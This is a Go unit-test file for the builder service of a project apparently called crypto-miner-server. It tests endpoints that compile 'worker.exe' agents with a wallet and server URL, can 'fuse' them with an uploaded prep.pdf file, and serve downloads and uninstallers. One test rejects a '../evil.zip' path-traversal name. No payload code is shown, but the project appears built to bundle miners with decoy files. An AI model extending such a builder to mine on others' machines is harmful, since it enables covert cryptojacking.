package builder

import (
	"bytes"
	"context"
	"encoding/json"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"testing"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"

	"github.com/go-chi/chi/v5"
)

func TestServeHTTPMultipartParseError(t *testing.T) {
	h := &Handler{}
	// Boundary mismatch triggers ParseMultipartForm error.
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader("not-multipart"))
	req.Header.Set("Content-Type", "multipart/form-data; boundary=----BOUND")
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestServeHTTPMultipartMissingConfig(t *testing.T) {
	h := &Handler{}
	body := &bytes.Buffer{}
	w := multipart.NewWriter(body)
	w.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body)
	req.Header.Set("Content-Type", w.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
	}
}

func TestServeHTTPMultipartFusionMissingPrep(t *testing.T) {
	h := &Handler{}
	body := &bytes.Buffer{}
	mw := multipart.NewWriter(body)
	cfg, _ := json.Marshal(BuildRequest{
		WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true,
	})
	_ = mw.WriteField("config", string(cfg))
	mw.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body)
	req.Header.Set("Content-Type", mw.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestServeEstimateMultipartSuccess(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	body := &bytes.Buffer{}
	mw := multipart.NewWriter(body)
	cfg, _ := json.Marshal(BuildRequest{
		WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true,
	})
	_ = mw.WriteField("config", string(cfg))
	part, _ := mw.CreateFormFile("prep_exe", "prep.pdf")
	_, _ = part.Write([]byte("%PDF"))
	mw.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body)
	req.Header.Set("Content-Type", mw.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeEstimate(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String())
	}
	var est FusionEstimateResponse
	if err := json.NewDecoder(rec.Body).Decode(&est); err != nil {
		t.Fatal(err)
	}
	if est.EstimatedTotalBytes <= 0 {
		t.Fatalf("expected positive estimate: %+v", est)
	}
}

func TestServeEstimateFusionDisabled(t *testing.T) {
	h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()}
	body := &bytes.Buffer{}
	mw := multipart.NewWriter(body)
	cfg, _ := json.Marshal(BuildRequest{
		WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc",
	})
	_ = mw.WriteField("config", string(cfg))
	part, _ := mw.CreateFormFile("prep_exe", "prep.pdf")
	_, _ = part.Write([]byte("x"))
	mw.Close()
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body)
	req.Header.Set("Content-Type", mw.FormDataContentType())
	rec := httptest.NewRecorder()
	h.ServeEstimate(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildSuccess(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	artifact := filepath.Join(dataDir, "builds", "bid-1", "worker.exe")
	if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: "bid-1", FilePath: artifact, FileName: "worker.exe", CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-1/download", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "bid-1")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuild(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildNotFound(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	h := &Handler{db: database, dataDir: t.TempDir()}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/missing/download", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "missing")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuild(rec, req)
	if rec.Code != http.StatusNotFound {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildArtifactInBuildDir(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	buildID := "art-1"
	zipName := "bundle.zip"
	zipPath := filepath.Join(dataDir, "builds", buildID, zipName)
	if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(zipPath, []byte("zip"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", buildID)
	rctx.URLParams.Add("name", zipName)
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuildArtifact(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadBuildArtifactInvalidName(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	h := &Handler{db: database, dataDir: t.TempDir()}
	if err := database.InsertBuild(&models.BuildRecord{ID: "x", CreatedAt: time.Now()}); err != nil {
		t.Fatal(err)
	}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/x/artifact/evil", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "x")
	rctx.URLParams.Add("name", "../evil.zip")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadBuildArtifact(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestDownloadUninstallMissing(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	defer database.Close()
	dataDir := t.TempDir()
	artifact := filepath.Join(dataDir, "builds", "u1", "worker.exe")
	if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(artifact, []byte("x"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := database.InsertBuild(&models.BuildRecord{
		ID: "u1", WorkerName: "pc", FilePath: artifact, CreatedAt: time.Now(),
	}); err != nil {
		t.Fatal(err)
	}
	h := &Handler{db: database, dataDir: dataDir}
	req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/u1/uninstall", nil)
	rctx := chi.NewRouteContext()
	rctx.URLParams.Add("id", "u1")
	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
	rec := httptest.NewRecorder()
	h.DownloadUninstall(rec, req)
	if rec.Code != http.StatusNotFound {
		t.Fatalf("status: %d", rec.Code)
	}
}

func TestBuildAgentSinglePlatformCompileFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	setFakeGoFail(t, h)
	req := &BuildRequest{
		TargetOS:   "windows",
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
	}
	resp, code, _ := h.buildAgent(context.Background(), req, "")
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("expected compile error: code=%d %+v", code, resp)
	}
}

func TestBuildAgentUniversalDelegatesCompileFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	setFakeGoFail(t, h)
	req := &BuildRequest{
		TargetOS:   "universal",
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
	}
	resp, code, _ := h.buildAgent(context.Background(), req, "")
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("universal build should fail compile: code=%d %+v", code, resp)
	}
	if !strings.Contains(resp.Error, "compile") && resp.Error == "" {
		t.Fatalf("expected compile-related error: %q", resp.Error)
	}
}

func TestCopyAgentSourceFromWorkspace(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	dest := t.TempDir()
	if err := h.copyAgentSource(dest); err != nil {
		t.Fatal(err)
	}
	if _, err := os.Stat(filepath.Join(dest, "main.go")); err != nil {
		t.Fatalf("main.go not copied: %v", err)
	}
	if _, err := os.Stat(filepath.Join(dest, "config", "builtin.go")); err == nil {
		t.Fatal("builtin.go should be skipped during copy")
	}
}

func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) {
	h := &Handler{dataDir: t.TempDir()}
	_, _, err := h.saveUploadedFusionPayload(nil, nil)
	if err == nil || !strings.Contains(err.Error(), "missing") {
		t.Fatalf("expected missing header error, got %v", err)
	}
}
